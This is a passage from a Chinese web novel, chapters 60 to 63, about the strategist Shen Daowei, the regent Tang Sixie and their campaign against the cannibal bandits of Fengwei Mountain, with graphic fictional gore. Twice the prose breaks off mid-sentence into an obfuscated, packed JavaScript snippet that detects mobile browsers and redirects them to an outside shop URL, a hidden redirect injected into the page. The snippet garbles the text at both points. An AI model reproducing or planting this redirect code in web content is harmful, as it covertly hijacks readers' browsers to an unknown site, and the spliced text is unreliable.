章 看似步步紧逼的是唐锶谐,但沈道溦何尝又不是。唐锶谐抿紧了唇角,银白色的面具在阳光下闪着冷冽的光芒。 “你可否愿意做军师?” 此一言着实让沈道溦吃了一惊,她古怪地看了唐锶谐一眼:“你不是最是担心女子掌权吗?” 唐锶谐一本正经地回答:“不以性别论能力。既然你有如此谋略,我又怎可让你在后院中被埋没。” 沈道溦直勾勾地看着唐锶谐:“这些话从你嘴里说出来,很是怪异。” “从前是我太过狭隘了。”唐锶谐的眼光看向远处,那里还有尚未散尽的迷雾:“但如今我想通了,生在世上,女子本就重重受阻,有如此才能更是难得。” 沈道溦心内轻笑。 唐锶谐此举,怕不是想借机探得自己更多虚实吧。 见沈道溦依旧在犹豫,唐锶谐道:“你莫不是担心自己的武功无法服众?此事不必担心,军师只是动脑,无需上阵杀敌。” 沈道溦微微颔首:“既是如此,我便恭敬不如从命了。” 唐锶谐的唇角不由得弯了弯,吩咐道:“击鼓!” 一直在旁边的谢有缘和林有分立即去办了。伴随着阵阵鼓声,士兵们立即集结起来。看到沈道溦和唐锶谐一同站在高台之上,不由得窃窃私语起来。 “摄政王旁边怎么站着一个女子啊。” “就是,军营里怎么可以有女子出没,这不是乱了套了吗?” “瞎说什么?当年叶袭宸不就是领了一群女兵吗,照样把我们打得落花流水。” 这个名字一出来,众人纷纷噤声了。这句话说得不假,虽然叶袭宸当年被摄政王一剑刺死,但是她的凶悍却在军中留下了阴影。但见说这句话的是程重锦,又不禁觉得讽刺起来。 当年若不是程重锦打开城门,叶袭宸又怎么会失败,今日却从他的口中说出这句话来。众人不免觉得此人太过假惺惺,但谁让人家如今是校尉呢,大家也只能敢怒不敢言。 见士兵们安静下来,唐锶谐高声道:“将士们,我们出城剿匪,为的是让帝京周围的百姓过上平安健康的日子!可是梅三刀狡猾,昨夜我们大军行至此处,竟遭其偷袭!我军损失惨重,此乃我一人之过!我会上书皇上,请求降罪!” “降罪?” 此言一出,士兵里你看看我,我看看你,立即有人高呼。 “此事不怨摄政王!” 立即有人随声附和,最后全部士兵都在高呼。 唐锶谐伸手示意众人安静,继续道:“经过此战,我深感自身能力浅薄。为早日将凤尾山一伙匪众尽数消灭,我今任命沈状元沈道溦为我军军师,共商剿匪大计!” 不同于前一番话时的高声附和,唐锶谐这慷慨激昂的几句下来,众人竟无一人敢出声。 唐锶谐问道:“众将士觉得有何不妥吗?” 无一人敢出声,最后还是程重锦上前几步行礼。 “摄政王,不是将士们对您不敬,而是沈状元能否堪此重任。”程重锦看了一眼沈道溦:“属下知道您与王妃伉俪情深,可如今是战场,摄政王此举是不是太过草率?” 程重锦这话一出来,其余士兵们也就没什么顾忌的了。 “就是啊,看王妃这副弱不禁风的模样,恐怕一阵风来就能把她吹跑了。” “自古英雄难过美人关,摄政王遇上王妃后连脑子都缺失了。” “军师虽然不用上战场,可是也得出谋划策。王妃乃一介妇人,如何能有这个脑子?” “如今女子做军师倒真是容易,勾一勾摄政王就可以了。” “摄政王怎么会喜欢这样的女子,听说前段日子她还疯疯癫癫的呢,张口闭口自己是叶袭宸!” “虽然王妃身份尊贵,可是张口说自己是叶袭宸是不是太不自量力了。” 众人你一言我一语,说得唐锶谐闭口不言。沈道溦瞧着下面众人的反应,心内不禁轻笑一声。 看来有了叶袭宸,也不过只是个人的功绩而已。前世自己虽一马当先,驰骋疆场,但却没能改变多少世间对女子的偏见。这些男子惯会将杰出女子剥离女子阵营,冠上什么所谓的名称,以此来离间。 “让我来告诉你们,我一个女子为何能成为军师!” 沈道溦蓦地出声,惊了众人一下。她的声音并不是很大,但却有贯穿人心的力量,让在场的每一个人都能听到。 沈道溦抬手指向依旧被绑在刑架上的邬桥:“就凭此人乃是我出谋划策抓到的!” “什么?” 众士兵纷纷瞪大了双眼。 沈道溦继续道:“此人乃是凤尾山上的土匪,摄政王带兵来此,梅三刀自知不敌,便想将我挟持住,以此来威胁摄政王。幸好我早有准备,设计将此人俘获!” “这居然是王妃抓到的,我还以为是摄政王的战果。” “你听她胡说呢,我看就是摄政王抓的,为了让她当上军师才让了。” “不无道理,摄政王爱惨了王妃,我们都知道。” 听到众士兵的发言,沈道溦冷冷地笑了一声,“你们若是不信,我今日便当着你们的面来问问此人,她究竟是被何人所擒!” “不用问了!” 邬桥抬起满是血污的脸,一头乱发在风中飞舞。她分明已经口干舌燥,却依旧用最大的力气喊道:“正是沈军师设计将我擒获,甚至一举识破了我易容成他人的诡计!今日我被绑在此处,正是拜沈军师所赐。此仇此恨不共戴天,他日若能逃出生天,必百倍奉还!” “还敢口出狂言!”谢有缘的剑鞘在邬桥的身上捅了一下。 邬桥猛地一口鲜血吐出来,却也只是冷冷地笑了一声,而后继续骂道:“沈道溦,我看不起你!你纵然有令人艳羡的皮囊和冰雪聪明的头脑,却也是囿于男女情爱之人!” 她哈哈大笑起来,鲜血不断从唇角漫出:“世人都说你为了叶袭宸叶将军每日以泪洗面,生不如死。还说你为其癫狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204312|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,每时每刻都在思念她,以至于走火入魔,张口闭口都说自己是叶袭宸。世人感念你对叶将军情深义重,可殊不知你才是最虚伪最自私最会哗众取宠之人!” 沈道溦微微皱眉。 她似是明白邬桥为的人是谁了。 “还敢对王妃口出狂言!” 谢有缘正要拔剑,却被沈道溦高声制止。 “让她说!” 谢有缘悻悻地收回了剑。 邬桥唇角染血,却仍旧扯着嗓子喊:“如果真如你所说你对叶袭宸情深义重,你为何又躲在仇人的羽翼之下!自成亲以来,你有千百种法子置唐锶谐这个卑鄙小人于死地,可你却一再二再而三地放过他!哈哈哈哈哈!” 她倏地放声大笑:“可最后你换来了什么!仅仅因为我这个土匪的一句话,他就能将我带至帐中与你对质!哈哈哈哈哈!你对他有情有义,他对你的情谊能有几分真!哈哈哈哈哈哈哈哈!” 唐锶谐不自觉攥紧了垂在身侧的拳头,众人也都听得一愣一愣的。 “今日晚间要为沈军师接风洗尘,众将士各自准备去吧。” 唐锶谐说完这局后便离开。 众人纷纷散去,不时窃窃私语。 营地内除却几个巡逻的士兵,只余沈道溦和邬桥,以及久久不散的风。 风声犹在耳侧,沈道溦再次走到邬桥面前,眯了眯眼睛:“你是因为叶袭宸才和褚梅瑛同流合污的?” “不错。” “可我若是没有记错的话,凤尾山和叶袭宸势同水火。” 邬桥轻嗤一声:“那只是作戏!凤尾山乃是叶袭宸私自招安的军队,为的就是给自己留条后路,以图东山再起。” 沈道溦气笑了:“竟连你也如此说。” 邬桥的眉头拧了一下:“你什么意思?” 沈道溦道:“你对凤尾山了解多少?” 邬桥道:“都是被逼上山的可怜人,替天行道,匡扶正义!” 沈道溦再次笑了:“替天行道,匡扶正义,何其可笑。他们行的什么道,匡扶的又是什么正义?” 邬桥死死地看着沈道溦:“起码他们不像你一般只说不做。他们如今虽然势力单薄,但却敢冒天下之大不韪刺杀唐锶谐!而你与唐锶谐昼夜相伴,同床共枕,想杀他简直易如反掌,但你又是如何做的?!” 沈道溦道:“这便是替天行道吗?且不说你方才所说是否是事实,单就刺杀唐锶谐而言,如今朝政皆是由他把控,皇帝几乎不理政事。如若他死了,谁来料理朝政?谁来领兵打仗?朝政尽数落到皇帝手里,你觉得他能做好一个皇帝吗?” 邬桥沉默不言。 沈道溦接着道:“再者,你如何断定凤尾山就是为了叶袭宸才刺杀唐锶谐?唐锶谐死了,除了能报仇雪恨外,于死者又有何好处?”顿了顿,她意有所指道:“但话又说回来,对死了的人无用,可未必对活着的人就无用。” “活着……的人?”邬桥若有所思。 61. 第 61 章 营帐内唐锶谐正在闭目养神,胳膊肘撑在桌案上,手掌覆盖住额头,大拇指和中指揉捏着太阳穴两侧。 他的神情有些许难受,似乎在挣扎一般。沈道溦从外头进来的时候唐锶谐居然没有察觉到分毫,直到人走到跟前了才抬起头来,有些疲惫地开口:“你来了。” 不等沈道溦开口,唐锶谐又道:“对不起。” “对不起什么?”沈道溦明知故问。 虽然她进来找唐锶谐不是说这件事的,但是既然他开口了,她就给个面子,省得他又胡思乱想。 “我不该怀疑你。”唐锶谐闭了闭眼睛:“当时也是脑子一热,想都未想就将人领进了帐中,我……” “你不用解释。”沈道溦开口打断了他。 唐锶谐睁开了眼睛,神情痛苦:“道溦……” “生死之事,任谁都难以平静。”沈道溦道:“特别是枕边人,一着不慎,就会丢了性命。” 唐锶谐重新闭了眼睛,似是默认了。 沈道溦继续道:“我进来是想说,外头那个叫做邬桥的女子已经答应带我们上山。兵贵神速,若是再晚些,褚梅瑛她们做好布防可就难办了。” 唐锶谐蓦地睁眼,微微颔首:“我知道了。” 两人商量了一阵,沈道溦一边说一边绘制了一个简陋的地图,手指不时轻点着。唐锶谐不时点头回应着,看向她的目光里除却宠溺也多了些许赞赏。 然而商量到最后一步的时候,唐锶谐却提出了反对意见:“不可!你手无缚鸡之力,此去凶险,你怎可亲自前往?” “派几个护卫保护我即可。”沈道溦道:“邬桥变化无常,如果我不在场,我不确定她说的话是否真实可靠。既然是我提出要邬桥带我们上山的,我就要与众将士共存亡。” 最后一句话说出的时候,沈道溦宛若整个人都闪闪发亮。唐锶谐怔怔地看着她,喉结不由得滚动了下。 这个眼神和这个神情以及这样的话语何其熟悉。 唐锶谐的思绪不由得飘忽起来。 平定北蛮后,唐锶谐与叶袭宸一同封了将军。鉴于他二人浴血奋战了多年,此后的战役还是由他们并肩作战。此时正巧东南沿海一带海寇猖獗,他二人又带兵下了江南。 江南一带雨水多,下起来的时候犹如瓢泼。此地湿气重,且多有瘴气。将士们大多来自北方,对南边的气候不是很习惯。北边的沙子都摧毁不了的硬汉,却在江南烟雨的绵柔下倒了下来。 幸好随行军医秦陵妙手回春,奔波军中,将吃食与草药混在一起,补足了饮食习惯和体质上带来的差异。 第一步是解决了,然而还有第二步。 以往战争都是在地上进行,现在却要在水上作战。如果不会游泳的话别提战斗力了,连自身的性命都难以保障。 幸而叶袭宸本身就在江南长大,水性极好。她又在江南的府县里找了一些水性极佳的人,在全军中授课。 第二步解决了,但是第三步的难题却抛给了唐锶谐。海上多有大雾,他又是北方的将领,对南方作战不甚熟悉。以往的军队编制中虽然有水军,但是大多不受重用。无他,大衍虽然地大物博,但还是第一次敢有人从海上来捣乱。故而水军训练懒散,久而久之,便造成了如今这个局面。 好在早前长公主下江南的时候远瞩高瞻,曾督促建造了一艘巨型战舰,上面还配有大炮,及时地重创了敌人,给他们研究南方水战争取了一些时间。 唐锶谐和叶袭宸研究了很久。 唐锶谐指着挂在墙面上的水域布防图:“我们初来乍到,虽然有船只,但是对水域不甚熟悉。况且海上雾大,容易迷失方向,不若将战舰和剩余的几十只船首尾相接,用铁链捆绑,这样消息传递方便,也不容易有方向迷失的风险。” 叶袭宸摇了摇头:“不可,船只捆绑机动性太差。” 唐锶谐道:“有何不可,我们的战士不谙水性。倘若有沉不住气去挑衅的,我们也好及时洞察,将其拦回。” 叶袭宸再次摇了摇头道:“如此庞大的船队,若是捆绑在一起,倘若一船出事,整支船队就毁了。” 唐锶谐沉吟片刻,点了点头:“依你之见,我们该用何种法子?” 叶袭宸道:“我们兵力虽然雄厚,但是将士们缺乏水上作战经验,强攻可能会取得一时战果,但是消耗巨大。不若来个里应外合,悄悄上岛,转水战为陆战。” 二人商议许久,最终定下叶袭宸带上两三个水性极好的士兵假扮海寇假意投靠之计。临行之前,唐锶谐还有些许担心。 他站在海边为其送行,海风灌满了他青色的衣袖,声音也几乎飘散在风里:“此去危险重重,倘若他们不信你,直接将你们丢进海里喂鱼,该如何是好?” 叶袭宸不以为意,反倒反客为主地拍了拍唐锶谐的肩膀:“自然还有其他妙计。卧底不成还能策反,策反不成还能离间。再者,此计是我定下的,我若不去,岂不成了缩头乌龟?不论结果如何,我都会与他们共存亡。” 记忆中叶袭宸的面庞逐渐与眼前的沈道溦慢慢重合,分明是两张截然不同的脸颊,此时却诡异地互相融合起来。 这种感觉有些熟悉,也让他倍感安全。经历了十二年前那一遭后,他对什么事情都不抱有期望。但叶袭宸仿佛是与他对立的反面,对什么事情都抱有希望,那么鲜活那么努力地活着。看似对什么都不在乎,游戏人间,可是内里却极其柔软,她对自己身边的人都极其在乎。 即便是自己脾气古怪,动不动就冷脸,她也对自己很是包容。从不会放在心上,嘻嘻哈哈一阵就过去了。 他很痴恋这种感觉,却也畏惧这种感觉,尤其是当叶袭宸囚禁花疏叶,登基为帝之后。 可是如今这种感觉却在沈道溦身上再次找到了。 他是该庆幸还是该有危机感呢。 唐锶谐摇了摇头,试图挥散去这股念头。沈道溦不觉有异,以为他只是在反对自己提出的建议,便义正词严地开口: “摄政王,我们剩下的时辰 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沈道溦道:“程重锦的能力的确可以,但若是你没有在前门出现,又如何麻痹梅三刀的视线?如果她怀疑有诈,我们的计策也就难以实现了。” “可是……” 唐锶谐还要再说,沈道溦已经没有耐心再去和他啰嗦了。他总是这样犹豫不决,优柔寡断,对什么事情都抱有很大的悲观心态。 未出师前先预败。 沈道溦唇角勾着:“既然这么担心我的安危,不若将谢有缘和林有分两个护卫派给我。他们跟随你多年,能力和忠心都有,否则你也不会让他们两个保护摄政王府了。” 唐锶谐思索片刻:“好。” 黑夜悄无声息地降临,唐锶谐带着军队照着邬桥画的地图摸上了山。营地内空无一人,但却留下了许许多多穿着士兵衣服的稻草人,以混淆视听。 与此同时,沈道溦和谢有缘以及林有分带着邬桥悄悄来到了后山的悬崖峭壁。随着沈道溦一声令下,身后的五百士兵就开始攀登峭壁。 凤尾山匪患猖獗,三年前就有一千人之多,如今过去了三年恐怕只多不少。且看昨日的规模,就知这支土匪绝不可以小觑。 唐锶谐此行带了两千人来,昨日凤尾山上的土匪来偷袭,折损了大约有个一百来人。如今又拨了五百来,前山的另一边如今还剩下一千四百。 应该可以了。 后山峭壁湿滑,多是些滑腻的青苔。即便有钩锁支撑,攀爬也比较困难。故而这里无人留守,任谁都不会想到有人会从这里上山。 邬桥依旧被捆绑着,她抬头看着那些脚下如同长了吸盘似的士兵们,心里很是不解:“他们怎么能如此如履平地?” “钉鞋。” “钉鞋?”邬桥心内了然:“原是如此。” 钉鞋鞋底钉满铁钉,鞋面涂桐油防水。本是江南一带在雨雪天气用于行走的鞋子,没想到如今还能有军事的造用。 邬桥狐疑地看了沈道溦一眼:“王妃从未出过帝京,如何识得这种江南一带流行的钉鞋?” 62. 第 62 章 凤尾山上,褚梅瑛正在摆酒席庆祝,一伙匪众喝了个七七八八。 硕大的羊头挂在顶上,干涸的鲜血凝固在石门上。几个白色的骷髅头堆积在角落里,看上去像是人的头盖骨。再往外则是乱七八槽的残肢,像是破碎的布娃娃似的。正中央则是一口滚烫的锅,翻滚着白色的墨子。几颗头颅在里面滚动着,黑色的毛发乱七八槽地缠绕着,遮盖住死不瞑目的双眼。 一股子令人作呕的味道弥漫开来,然而这一伙匪众却像是着了魔一般,拼命吸着鼻子嗅着,对大锅里正在煮着的东西垂涎三尺。 在凤尾山上,只有几个有地位的才能吃人肉。他们觉得这是世界上最精美的食物,任何猪马牛羊都比不了的。他们下山劫掠不仅要抢夺财物,更重要的是抢人。男人和女人都要,好看的留下伺候人,不好看的就扔进锅里吃掉。当然,这只是对于寻常人家,倘若遇上了官兵,那是一律都要扔进锅里煮了的。 山上流传着一种说法,当过兵的人肉都紧实,比起脑满肠肥的官员自是好吃不少。凤尾山自开山以来,吃过的官员不下十几位,都是被派来剿匪,然后剿匪不成反被吃掉的,至于士兵就更是不计其数了,杀死的、俘获的。但凡有机会,他们都会带回去。 尸体挂在山门口起到威慑作用,俘获的直接扔进锅里油炸或是水煮。至于部位就更有讲究了,脑袋通常是不会拿来吃的,其余则是能吃则吃。不过今日是个例外,脑袋没有串成串儿挂在山门展示,而是直接下了锅。 无他,只因过往都是为了击退官兵,而如今却是以击杀唐锶谐为目的。只要他死了,大衍必定大乱,那个窝囊皇帝不足为虑,到时改朝换代也未尝不可。 褚梅瑛坐在最上头的虎皮椅子上,眼中闪过一丝精明。 三年前叶袭宸借助风向点火,致使凤尾山变成一片火海。顺风而跑只会变成一块焦炭,逆风则会成为叶袭宸的枪下鬼。好在她早前挖了地窖,和一部分亲信躲在了里面,又叫一个身形和自己相符的人易容成自己的模样,这才逃过一劫。从此便化名褚梅瑛,浪迹江湖,招揽人才。 然而凤尾山元气大伤,从前那些对他们顶礼膜拜的人如今都变得尖酸刻薄,更有甚者还落井下石。褚梅瑛处处碰壁,遭人白眼。山穷水尽之时幸而有高人施以援手,借助他的帮助凤尾山才慢慢重建,才有了如今的规模,比起三年前更是不遑多让。 那位高人如此相帮,条件却只有一个,那便是除掉唐锶谐这个摄政王。这个举动曾经让褚梅瑛怀疑过他的身份,大抵是朝中某位尸位素餐的官员,但是由于对朝中之事不甚了解,思来想去也没有想到是谁,索性也就不再管了。不过倒是留了个心眼,将往来的书信全都完整地保存了下来。到时即便有不测,也能应付一番。 丹蔻轻轻在扶手上敲击着,褚梅瑛已经在琢磨明日该如何与唐锶谐对战了。 邬桥那厮笨手笨脚的,叫她去摄政王府将沈道溦绑来,如今这么久了连个消息也没有。 按理说,沈道溦只是个只知后院宅斗的蠢女子,所做一切不过都是为了让唐锶谐这个渣男多看她几眼罢了,包括什么逛兰庭戏院,什么周老板说她是来干大事的,都是自欺欺人罢了。 不过就是仰慕叶袭宸久矣,身上刻意装出了些许与寻常后院女子不同的气质罢了,什么临危不惧了都是扯淡。一个病秧子而已,还真把自己当根葱了,本质不过就是个只拘泥于情情爱爱的蠢女子罢了。 只要她见了邬桥顶着自己这张脸,然后再稍加言辞,应该会乖乖跟着邬桥走才是。 就算自己得罪了沈言商那个一毛不拔的奸商,她这种习惯了宅斗的女子也该对沈言商颇有微词才是。 这怎么到现在还没个准信呢。 难道是邬桥这个蠢货反被沈道溦说服了? 褚梅瑛握紧拳头,狠狠地砸在虎皮椅子的扶手上,唇角嘲讽地勾着。 邬桥这个蠢货的确也是不精明。 当年叶袭宸火烧凤尾山的事情可是震惊了江湖,是个人都知道凤尾山与叶袭宸势不两立,但是邬桥却被自己的三言两语说服了,认定自己乃是叶袭宸当年私自招安的。 唐锶谐那个蠢货这么认为也就算了,毕竟他和叶袭宸本来就不对付。邬桥这个崇拜叶袭宸的人居然也这么认为,真是滑天下之大稽。 就在褚梅瑛思量下一步该如何时,外头却有人急匆匆跑进来,着急得差点儿掀了个跟头。 “慌什么?”二当家的给了那个小土匪一巴掌,“没看到我们在喝酒庆祝吗!一点儿规矩都没有!” 小土匪吓得腿都软了:“报……报告各位当家的……山下的官兵打上山来了!” “什么?” 几个正在喝酒吃肉的当家当即站了起来,手里的酒和嘴里的肉立即不香了。 最上头的褚梅瑛轻蔑地嗤笑一声:“居然还有力气来挑衅,这个唐锶谐向来不是保守作战吗?如今怎么主动出击了?” “不……不知道啊。” 小土匪磕磕巴巴,却再次被二当家的甩了一巴掌:“不知道你就来汇报,长着眼睛干什么的,被熊瞎子造了?” “小的……小的看到一群官兵上来,手里还举着唐字旗……” “看来是唐锶谐无疑了。”褚梅瑛讥讽地勾起了唇角:“真是不自量力。” 这个唐锶谐打仗比不上叶袭宸,当年叶袭宸面对凤尾山都不敢强攻,只能利用天时采取火攻之法。而如今的凤尾山远比三年前强大,唐锶谐又能如何呢? “传令下去,谁能取了唐锶谐的狗头,谁就是下一任二当家的!” 二当家:“?” 我刚刚才当上二当家的啊。 二当家是个流水位子,谁在下一场打家劫舍里立下大功,谁就能当上二当家的。而二当家的若想不被取代,就只能接着立功。 然而自从凤尾山开山以来,二当家的人选从来没有固定过,大多都死在了对抗剿匪大军里。但即便这个位子死人很多 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褚梅瑛清了清嗓子:“传我令,立即,全军出击!” 外头火光一片,随着唐锶谐一声令下,几百支火箭纷纷射向山寨。还有的用了油包,再以火箭射爆。刹那间鬼哭狼嚎声一片,天地之间只剩熊熊烈火。烧焦的肉味在火光中弥漫开来,然而吃过人肉的凤尾山匪众却提不起食欲了。他们逃窜着躲避着,嘴里咒骂声不断。 然而老天像是要眷顾凤尾山一般,天际裂开几道闪电。伴随着几道轰隆隆的雷声,几滴豆大的雨珠砸了下来。 “哈哈哈哈哈!”褚梅瑛攀上高处放声大笑着:“老天都在助我!兄弟姐妹们,地道出击!” 随着褚梅瑛的命令下来,几十个土匪突然从地底下冒了出来,凭空地出现在官兵们的眼前,毫无顾忌地砍杀起来。 弓箭手逐步后退,步兵向前,与之缠斗在一起。轰隆隆的雷声响彻天际,大雨如同瓢泼一般倾泻而下。血腥味混杂着烧焦的味道,令人作呕。凤尾山像是变成了一个屠宰场,遍地尸体。 唐锶谐身着银甲,雨水顺着他冷峻的面容流下,脸色愈发显得苍白。他面无表情地看着战场上的局势,唇角抿得紧紧的。 在官兵的强烈攻势下,土匪们节节败退。但却仍旧有人孤注一掷,比如那个浑身是血的二当家。他大吼一声,借助投石车的威力直接来到了唐锶谐的面前,举刀就砍。 狰狞的疤痕刻在脸上,一道闪电劈下来,雷声在其背后轰隆响起,一张人厌鬼弃的脸清晰无比地出现在眼前。 唐锶谐身形未动,从腰间抽出软剑,动作极快地抹过了二当家的脖子。后者瞳孔骤缩,身体像是一只扑腾了几下的家禽似的直线般下坠,最终砰地一声砸在地上,溅起一地泥水。 唐锶谐神情冷淡,重新将软剑缠回腰间,薄唇轻启,语气直冒冷意。 “全力剿杀,一个不留。” 63. 第 63 章 随着唐锶谐的一声令下,官兵们全力冲向那些逃窜的土匪。瓢泼的大雨似乎没有停下的趋势,却越下越猛。 在褚梅瑛的带领下,一小股土匪全都逃到了山顶的高处。上面有准备好的几块巨石,他们纷纷砍断了束缚的绳子。随着巨大的圆石滚滚而落,冲在最前面的几个士兵顷刻间被压扁成饼,整齐划一的队伍也立即被冲散。 “哈哈哈哈哈!” 土匪们张狂的笑声在雨夜里极为凄厉。 “一鼓作气,追上去!” 唐锶谐不畏艰险,一马当先。染血的银甲在黑夜里散发着幽幽的冷光,似是皎洁的月色一般洒在每个将士的心头。他们看着倒在地上死不瞑目的战友,纷纷冒着大雨悲愤地赶了上去。 “这些个该死的狗皮膏药!” 褚梅瑛骂骂咧咧地,一不留神脚底打滑,险些没直接冲进官兵们的队伍里。幸而有个小土匪拉了她一把,才使她幸免于难。 “大……大当家的,我们怎么办呐。”小土匪都快哭出来了。一张梨花带雨的脸很是惨白,吓得一点儿血色都没有了。 褚梅瑛认出来了,这就是唐锶谐攻上山来时哆哆嗦嗦来报信的那个,皮相倒是生得不错。她捏了一下小土匪的脸,语气极其恶劣:“听着,那个叫什么豹的二当家已经死了,你要是能把姓唐的狗头取来,你就是二当家的!” “我……我不敢呐!”小土匪的牙齿一直打颤。 “废物!”褚梅瑛一巴掌扇在他的脸上,“你这么怂是怎么上山的!” “小的……小的是被逼上山来的……”小土匪呜呜地哭了起来:“哥哥姐姐都被仇人杀死了,小的吃不上饭了,看到凤尾山发的英雄帖,才……才上了山。” 褚梅瑛顿时气不打一处来,接连扇了小土匪好几个巴掌才肯停手。小土匪被扇得鼻子直流血,却也只敢哭。 褚梅瑛打够了,气也出了不少。她朝剩下的土匪一招手:“小的们,随我往后山撤!” 后山是个悬崖峭壁,上面多长有青苔,滑腻得不得了。但也有很多藤蔓丛生,往上爬的确难如登天,但若是只作逃跑之用,应是绰绰有余。 如今剩下的土匪不足百人,先前被唐锶谐的火箭烤焦了两三百,拼杀又折损了不少。褚梅瑛一边逃一边牙齿咬得咯吱响,但却随即想起另外一件事情来。 然不等问起,几百个火把便齐刷刷亮起。像是幽深洞穴里的蝙蝠似的,个个眼神灼灼。天际的一道煞白闪电照亮了周遭人的面庞,个个手执兵器,身披蓑衣,脸黑得像是生火的黑炭一般。 时间仿佛刹那间静止一般,天地间只余轰隆的雷声和哗啦的雨声。 几十个土匪被围困其中,褚梅瑛的视线冷冷地扫过他们,拳头捏得咯吱作响:“你们受何人指使,怎会在此处?” “梅大当家的。” 一道有些许清冷的声音穿透雨幕,直达褚梅瑛的耳底。她难以置信地抬起头,看向声音的源头。 一道清丽的身影从漫天的雨幕中走出,手执一把红色的油纸伞,着了一袭蓝色的衣衫。分明是雨水天气,可她却浑身上下不见一丝泥污,纤尘不染,干净得如同天际降下的仙子一般。 伞沿稍微抬高了一些,露出沈道溦那张惊为天人的面庞。 褚梅瑛轻哼一声,“我当是谁,原来是摄政王妃。多日不见,王妃一向可好?” 沈道溦微微一笑:“托梅大当家的福,一切安好。” “上次的救命之恩未敢忘记……” 沈道溦轻轻打断了褚梅瑛的话:“既然未敢忘记,今日就该束手就擒,免得让你身后的一众兄弟为你的愚蠢白白牺牲了性命。” “束手就擒?哈哈哈哈哈!”褚梅瑛仰天大笑,笑罢后神情轻蔑地抽出了腰刀,挑衅地比划了两下:“王妃身子娇贵,如此凶险之地你居然也敢来,难道就不怕我在你的小细脖子上再划一刀吗?” “你敢!” 未等沈道溦开口,谢有缘和林有分便立即跳了出来,手持长剑,满脸警惕地挡在她的面前。 褚梅瑛讥讽地笑着:“只会躲在男人身后算什么本事?”手里的腰刀往前一指,神情戏谑:“你若是有种,就与我单打独斗一番。你若是赢了,我任你处置。我若是赢了,就放我们离开。” 沈道溦的眉头轻轻地挑了一下。 褚梅瑛继续挑衅:“如何?你敢不敢?” 谢有缘当即往地上啐了一口:“呸!你个阴险狡诈的东西,有什么资格与我们王妃单打独斗?” 褚梅瑛的唇角缓缓裂开笑容:“怕是不敢吧。也是,你一个宅院女子,抛头露面地跑到这里来已经不合适了。不过是凭着姓唐的权势才有资格站在这里,若是再落败,岂不是丢人现眼?” “少在这里妖言惑众!”林有分剑指褚梅瑛:“王妃凭的是头脑,而不是身手!尔等已是我们的俘虏,快快束手就擒,否则休怪我们杀之而后快!” 褚梅瑛恶狠狠地开口:“两条狗而已,也配在这里汪汪?”她看向沈道溦,讥笑道:“原来你不光躲在男人身后,也躲在狗的身后啊。这叫什么,人仗狗势?” 拇指轻轻拂过刀刃,褚梅瑛视线低垂,欣赏着自己的刀子,慢条斯理道:“没有身手,凭什么号令他人?你说是与不是,王妃?” 说到最后一句,褚梅瑛神情倨傲地看着沈道溦,唇角的笑容愈发放大。 “你……”谢有缘正要怒骂几句,却被沈道溦开口拦住:“退下。” “王妃?” 在一众士兵们疑惑的目光下,沈道溦缓缓走到褚梅瑛的跟前,眼皮子抬了一下:“你想与我单打独斗?” 褚梅瑛狠狠地将腰刀插回刀鞘里:“正是!”随即双手抱拳:“不知王妃是否赏脸赐教?” 沈道溦笑了:“你凭什么觉得我会答应你的不合理要求?” 谢有缘和林有分俱是松了口气,唯恐自家王妃这个时候疯癫上头,真以为自己能像叶袭宸一般百万军中取项上人头。 褚梅瑛冷哼一声:“你一个靠男人上位的,还跟我谈凭什么?” 沈道溦神情平静:“你以为只有身手才能身居高位?不谙刀兵却有脑子的军师比比皆是。岂不闻坐为计谋,遂以为师。” 褚梅瑛烦躁道:“我没心情与你辩什么道理,一句话,比还是不比?” 沈道溦轻蔑地笑了:“你以为自己胸有成竹是不是?你以为自己武艺高强是不是?”她看着褚梅瑛的眼睛,漫不经心道:“你信与不信,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216301|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要我出手,你顷刻间就会毙命。” “什么?”褚梅瑛仿佛听到了什么笑话般哈哈大笑起来:“沈道溦啊沈道溦,你手无缚鸡之力,还敢在这里大言不惭!” “好,既然如此,我便让你见识一下。” “王妃!” 见沈道溦真的应承下来了,谢有缘着急地拦在她面前:“我来!姓梅的,我来和你比!” 沈道溦道:“退下。” “王妃!” 这下连林有分也着急了。 “退下。”沈道溦平静道。 “王妃,倘若你出了什么事,我等如何与摄政王交代?”谢有缘着急地叫了起来:“这个卑鄙小人净会蛊惑人,您冰雪聪明,怎么可以上这种人的当!” “上当?”沈道溦摇了摇头,唇角还残留一分笑意:“我倒不这么觉得。如果她信守承诺,我们便可不伤一兵一卒将这些残匪带回去。摄政王若是知道了,定会嘉奖你我,何乐而不为?” “……” 谢有缘瞪大了双眼。 什么? 战败梅三刀? 王妃说什么胡话呢? 叶袭宸是个眼里容不得废物的人。梅三刀既然能被叶袭宸私自招安,可见是有一定实力的。若是轻而易举就能被拿下,早就被叶袭宸一枪挑于马下了,又岂会活到现在? 即便是自己和林有分这样身经百战的人,对梅三刀也要忌惮三分,更不要说王妃这副病弱之躯了。 相较于谢有缘的急不可耐,林有分倒慢慢镇定了下来。早前王妃在院子里练武时,他就仔细看过,莫非真能如王妃所言她的武功已经到了出神入化的地步,只需出手就可顷刻间置人于死地? “你倒是说句话啊。”谢有缘捅了林有分一下。 林有分回过神来,心里直道自己方才的确是糊涂了,居然真以为王妃这副弱不禁风的样子可以一击毙命。 “王妃……” 